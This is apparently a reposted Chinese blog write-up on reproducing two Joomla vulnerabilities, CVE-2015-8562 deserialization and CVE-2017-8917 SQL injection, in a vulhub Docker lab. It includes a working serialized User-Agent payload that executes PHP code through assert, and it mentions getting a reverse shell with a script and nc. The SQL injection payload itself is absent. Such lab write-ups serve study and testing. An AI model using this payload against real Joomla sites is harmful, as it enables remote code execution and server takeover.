Joomla 漏洞总结

目录

Joomla简介

环境搭建

CVE-2015-8562 反序列化漏洞

CVE-2017-8917 SQL注入漏洞


Joomla简介

Joomla!是一套全球知名的内容管理系统。 [1]  Joomla!是使用PHP语言加上MySQL数据库所开发的软件系统,目前最新版本是3.9.11 ,可以在Linux、 WindowsMacOSX等各种不同的平台上执行。

环境搭建

  • 切换到joomla相关目录下,部署docker环境
  • cd /root/vulhub/joomla
  • 选择自己想要复现的漏洞,切换到该目录下,运行以下命令
  • docker-compose build
  • docker-compose up -d
  • 根据目录下的'README.zh-cn.md'文件提示访问目标网站

CVE-2015-8562 反序列化漏洞

漏洞产生原因

PHP5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。通过Joomla中的Gadget,可造成任意代码执行的结果。

影响版本

  • Joomla 1.5.x, 2.x, and 3.x before 3.4.6
  • PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45

漏洞复现

1.首先我们不带User-Agent头,先访问一次目标主页,记下服务端返回的Cookie

2.然后将User-Agent设置为以下内容,然后cookie设置为才刚目标网站返回的内容。

123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:
{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:
{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:
{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"fee
d_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connectio
n";i:1;}

3. 然后利用burp的Repeater模块构造以下payload,进行发送。首次的数据会进入Mysql数据库。

4.然后我们在发送一次该数据包,可以看到代码被执行。 

5.我们也可以使用大佬写的脚本,获取反弹shell。

6.nc得到目标服务器的响应,得到bash。

CVE-2017-8917 SQL注入漏洞

影响版本

  • Joomla 3.7.0

漏洞复现

payload

然后用浏览器访问payload,成功报错。

猜你喜欢

转载自blog.csdn.net/smli_ng/article/details/115799954